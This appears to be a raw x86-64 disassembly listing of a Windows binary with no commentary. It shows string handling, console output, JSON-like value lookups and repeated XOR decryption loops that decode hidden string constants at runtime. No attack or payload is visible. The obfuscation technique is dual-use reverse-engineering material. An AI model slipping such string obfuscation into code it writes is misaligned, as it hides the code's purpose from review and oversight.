movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x140222c1f
cmp r14, 0xf
ja 0x14021ead4
mov qword [rsp + 0x580], r14
mov qword [rsp + 0x588], 0xf
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x570], xmm0
jmp 0x14021eb76
mov rbx, r14
or rbx, 0xf
cmp rbx, rax
jbe 0x14021eb0f
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14026668c
mov rcx, rax
test rax, rax
je 0x14021eb42
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14021eb4e
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14021eb2a
mov rax, rsi
jmp 0x14021eb4e
cmp rcx, 0x1000
jb 0x14021eb49
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140222c24
jmp 0x14021eaf1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14026668c
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x580], r14
mov qword [rsp + 0x588], rbx
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rax, [rsp + 0x100]
mov qword [rsp + 0x20], rax
mov r9, r12
lea r8, [rsp + 0x5b0]
lea rdx, [rsp + 0x570]
lea rcx, [rsp + 0x810]
call fcn.140242f30
nop
lea rcx, [rsp + 0x570]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x5b0]
call fcn.140240fd0
nop
mov r8, qword [rsp + 0x1f8]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0x1f8]
call fcn.140243e60
mov edx, 0x60
mov rcx, qword [rsp + 0x1f8]
call fcn.140266300
nop
lea r9, [fcn.1401f2f80]
mov r8, r13
mov edx, 0x40
lea rcx, [rsp + 0x220]
call fcn.1402666dc
nop
lea rcx, [rsp + 0x100]
call fcn.140240fd0
lea r8, [0x14028d450]
lea rdx, [rsp + 0x880]
lea rcx, [rsp + 0x708]
call fcn.1401f6ea0
nop
movzx eax, word [0x140275b10]
mov word [rsp + 0x40], ax
cmp byte [0x140275b11], 0
je 0x14021ec5a
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [rsp + 0x708]
cmp qword [rsp + 0x720], 0xf
cmova rdx, qword [rsp + 0x708]
mov r8, qword [rsp + 0x718]
mov rcx, rax
call fcn.140249550
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x318], rsi
lea r8, [rsp + 0x2e0]
lea rdx, [rsp + 0x708]
lea rcx, [rsp + 0x6d8]
call fcn.1402431b0
nop
lea r15, [rsp + 0x6d8]
mov qword [rsp + 0x590], r15
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x598], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5a0], xmm1
movabs rax, 0x8000000000000000
mov rbx, rax
mov qword [rsp + 0x5a8], rax
movzx edx, byte [r15]
cmp edx, 9
ja case.default.0x14021ed26
movsxd rax, edx
lea r12, [0x140000000]
mov ecx, dword [r12 + rax*4 + 0x222f04]
add rcx, r12
jmp rcx
lea r12, [0x140000000]
cmp edx, 9
ja case.0x14021ed3f.3
mov ecx, dword [r12 + rdx*4 + 0x222f2c]
add rcx, r12
jmp rcx
mov rax, qword [r15 + 8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x598], rax
jmp 0x14021ed76
mov rax, qword [r15 + 8]
mov rax, qword [rax]
mov qword [rsp + 0x5a0], rax
jmp 0x14021ed76
mov rbx, r13
jmp 0x14021ed6e
mov rbx, rsi
mov qword [rsp + 0x5a8], rbx
lea rcx, [rsp + 0x728]
call fcn.140222fd0
lea rdx, [rsp + 0x728]
lea rcx, [rsp + 0x6d8]
call fcn.14023c300
nop dword [rax + rax]
cmp r15, qword [rsp + 0x728]
jne 0x140222c2a
movzx edx, byte [r15]
cmp edx, 9
ja case.0x14021edc5.0
movsxd rax, edx
mov ecx, dword [r12 + rax*4 + 0x222f54]
add rcx, r12
jmp rcx
mov rax, qword [rsp + 0x730]
cmp qword [rsp + 0x598], rax
jmp 0x14021edf3
mov rax, qword [rsp + 0x738]
cmp qword [rsp + 0x5a0], rax
jmp 0x14021edf3
cmp rbx, qword [rsp + 0x740]
sete al
test al, al
jne 0x140222ada
cmp edx, 9
ja case.0x14021ee0e.3
mov ecx, dword [r12 + rdx*4 + 0x222f7c]
add rcx, r12
jmp rcx
mov r14, qword [rsp + 0x598]
add r14, 0x40
jmp 0x14021ee34
mov r14, qword [rsp + 0x5a0]
jmp 0x14021ee34
test rbx, rbx
jne 0x140222ebe
mov r14, r15
movups xmm4, xmmword [0x140278660]
movups xmmword [rsp + 0x50], xmm4
movsd xmm0, qword [0x140278670]
movsd qword [rsp + 0x60], xmm0
cmp byte [0x140278677], 0
je 0x14021f2dc
mov r9d, esi
cmp dword [0x14028a090], 2
jl 0x14021f286
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x58]
xorps xmm2, xmm1
movd dword [rsp + 0x58], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
movdqa xmm4, xmmword [0x1402795d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x60]
xorps xmm2, xmm1
movd dword [rsp + 0x60], xmm2
movdqa xmm4, xmmword [0x1402795e0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
jmp 0x14021f2dc
lea r10, [rsp + 0x50]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul edx, eax, 0x6b
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x18
jl 0x14021f290
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
movzx ecx, word [0x140275b10]
mov word [rsp + 0x40], cx
cmp byte [0x140275b11], 0
je 0x14021f30c
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x43
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1402428f0
movsd xmm0, qword [0x140278238]
movsd qword [rsp + 0xe0], xmm0
movzx eax, byte [0x140278240]
mov byte [rsp + 0xe0], 0x41
xor byte [rsp + 0xe1], 0x43
xor byte [rsp + 0xe2], 0x45
xor byte [rsp + 0xe3], 0x47
xor byte [rsp + 0xe4], 0x49
xor byte [rsp + 0xe5], 0x4b
xor byte [rsp + 0xe6], 0x4d
xor byte [rsp + 0xe7], 0x4f
xor al, 0x51
mov byte [rsp + 0xe8], al
lea rdx, [rsp + 0xe0]
mov rcx, r14
call fcn.1402433a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x5d8], xmm0
mov qword [rsp + 0x5e8], rsi
mov qword [rsp + 0x5f0], 0xf
mov byte [rsp + 0x5d8], 0
bts edi, 0x11
mov dword [rsp + 0x44], edi
cmp byte [rax], 3
jne 0x140222cb2
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x5d8]
cmp rax, rdx
je 0x14021f3ef
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14021f3e2
mov rdx, qword [rdx]
lea rcx, [rsp + 0x5d8]
call fcn.140241270
btr edi, 0x11
or edi, 0x18000
mov dword [rsp + 0x44], edi
mov eax, dword [0x14027851c]
mov dword [rsp + 0xa8], eax
movzx eax, byte [0x140278520]
mov byte [rsp + 0xa8], 0x48
xor byte [rsp + 0xa9], 0x43
xor byte [rsp + 0xaa], 0x45
xor byte [rsp + 0xab], 0x47
xor al, 0x49
mov byte [rsp + 0xac], al
lea rdx, [rsp + 0xa8]
mov rcx, r14
call fcn.1402433a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x658], xmm0
mov qword [rsp + 0x668], rsi
mov qword [rsp + 0x670], 0xf
mov byte [rsp + 0x658], 0
bts edi, 0x14
mov dword [rsp + 0x44], edi
cmp byte [rax], 3
jne 0x140222cfc
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x658]
cmp rax, rdx
je 0x14021f4af
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14021f4a2
mov rdx, qword [rdx]
lea rcx, [rsp + 0x658]
call fcn.140241270
btr edi, 0x14
or edi, 0xc0000
mov dword [rsp + 0x44], edi
movsd xmm0, qword [0x140277f08]
movsd qword [rsp + 0xd0], xmm0
movzx ecx, word [0x140277f10]
mov word [rsp + 0xd8], cx
movzx eax, byte [0x140277f12]
mov byte [rsp + 0xd0], 0x41
xor byte [rsp + 0xd1], 0x43
xor byte [rsp + 0xd2], 0x45
xor byte [rsp + 0xd3], 0x47
xor byte [rsp + 0xd4], 0x49
xor byte [rsp + 0xd5], 0x4b
xor byte [rsp + 0xd6], 0x4d
xor byte [rsp + 0xd7], 0x4f
xor cl, 0x51
mov byte [rsp + 0xd8], cl
xor byte [rsp + 0xd9], 0x53
xor al, 0x55
mov byte [rsp + 0xda], al
lea rdx, [rsp + 0xd0]
mov rcx, r14
call fcn.1402433a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x618], xmm0
mov qword [rsp + 0x628], rsi
mov qword [rsp + 0x630], 0xf
mov byte [rsp + 0x618], 0
or edi, 4
mov dword [rsp + 0x44], edi
cmp byte [rax], 3
jne 0x140222d46
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x618]
cmp rax, rdx
je 0x14021f5b3
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14021f5a6
mov rdx, qword [rdx]
lea rcx, [rsp + 0x618]
call fcn.140241270
and edi, 0xfffffffb
or edi, 3
mov dword [rsp + 0x44], edi
movsd xmm0, qword [0x1402761c0]
movsd qword [rsp + 0xc0], xmm0
movzx ecx, word [0x1402761c8]
mov word [rsp + 0xc8], cx
movzx eax, byte [0x1402761ca]
mov byte [rsp + 0xc0], 0x41
xor byte [rsp + 0xc1], 0x43
xor byte [rsp + 0xc2], 0x45
xor byte [rsp + 0xc3], 0x47
xor byte [rsp + 0xc4], 0x49
xor byte [rsp + 0xc5], 0x4b
xor byte [rsp + 0xc6], 0x4d
xor byte [rsp + 0xc7], 0x4f
xor cl, 0x51
mov byte [rsp + 0xc8], cl
xor byte [rsp + 0xc9], 0x53
xor al, 0x55
mov byte [rsp + 0xca], al
lea rdx, [rsp + 0xc0]
mov rcx, r14
call fcn.1402433a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x5f8], xmm0
mov qword [rsp + 0x608], rsi
mov qword [rsp + 0x610], 0xf
mov byte [rsp + 0x5f8], 0
or edi, 0x20
mov dword [rsp + 0x44], edi
cmp byte [rax], 3
jne 0x140222d90
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x5f8]
cmp rax, rdx
je 0x14021f6b3
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14021f6a6
mov rdx, qword [rdx]
lea rcx, [rsp + 0x5f8]
call fcn.140241270
and edi, 0xffffffdf
or edi, 0x18
mov dword [rsp + 0x44], edi
movsd xmm0, qword [0x140278138]
movsd qword [rsp + 0x1a8], xmm0
mov ecx, dword [0x140278140]
mov dword [rsp + 0x1b0], ecx
cmp byte [0x140278143], 0
je 0x14021f96c
mov r9d, esi
cmp dword [0x14028a090], 2
jl 0x14021f912
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140278138]
xorps xmm2, xmm0
movd dword [rsp + 0x1a8], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1ac]
xorps xmm2, xmm1
movd dword [rsp + 0x1ac], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x1b0], xmm2
jmp 0x14021f96c
lea r10, [rsp + 0x1a8]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x14021f920
lea rdx, [rsp + 0x1a8]
mov rcx, r14
call fcn.1402433a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x678], xmm0
mov qword [rsp + 0x688], rsi
mov qword [rsp + 0x690], 0xf
mov byte [rsp + 0x678], 0
bts edi, 8
mov dword [rsp + 0x44], edi
cmp byte [rax], 3
jne 0x140222dda
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x678]
cmp rax, rdx
je 0x14021f9e1
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14021f9d4
mov rdx, qword [rdx]
lea rcx, [rsp + 0x678]
call fcn.140241270
btr edi, 8
or edi, 0xc0
mov dword [rsp + 0x44], edi
movsd xmm0, qword [0x140276620]
movsd qword [rsp + 0x178], xmm0
mov ecx, dword [0x140276628]
mov dword [rsp + 0x180], ecx
movzx eax, byte [0x14027662c]
mov byte [rsp + 0x184], al
mov r9d, esi
cmp dword [0x14028a090], 2
jl 0x14021fc49
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140276620]
xorps xmm2, xmm0
movd dword [rsp + 0x178], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x17c]
xorps xmm2, xmm1
movd dword [rsp + 0x17c], xmm2
movdqa xmm3, xmm12
punpckldq xmm3, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x180], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x178]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14021fc60
lea rdx, [rsp + 0x178]
mov rcx, r14
call fcn.1402433a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x698], xmm0
mov qword [rsp + 0x6a8], rsi
mov qword [rsp + 0x6b0], 0xf
mov byte [rsp + 0x698], 0
bts edi, 0xb
mov dword [rsp + 0x44], edi
cmp byte [rax], 3
jne 0x140222e24
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x698]
cmp rax, rdx
je 0x14021fd26
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14021fd19
mov rdx, qword [rdx]
lea rcx, [rsp + 0x698]
call fcn.140241270
btr edi, 0xb
or edi, 0x600
mov dword [rsp + 0x44], edi
movsd xmm0, qword [0x140276358]
movsd qword [rsp + 0x1b8], xmm0
mov ecx, dword [0x140276360]
mov dword [rsp + 0x1c0], ecx
movzx eax, word [0x140276364]
mov word [rsp + 0x1c4], ax
movzx eax, byte [0x140276366]
mov byte [rsp + 0x1c6], al
mov r9d, esi
cmp dword [0x14028a090], 2
jl 0x14021ff9d
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140276358]
xorps xmm2, xmm0
movd dword [rsp + 0x1b8], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
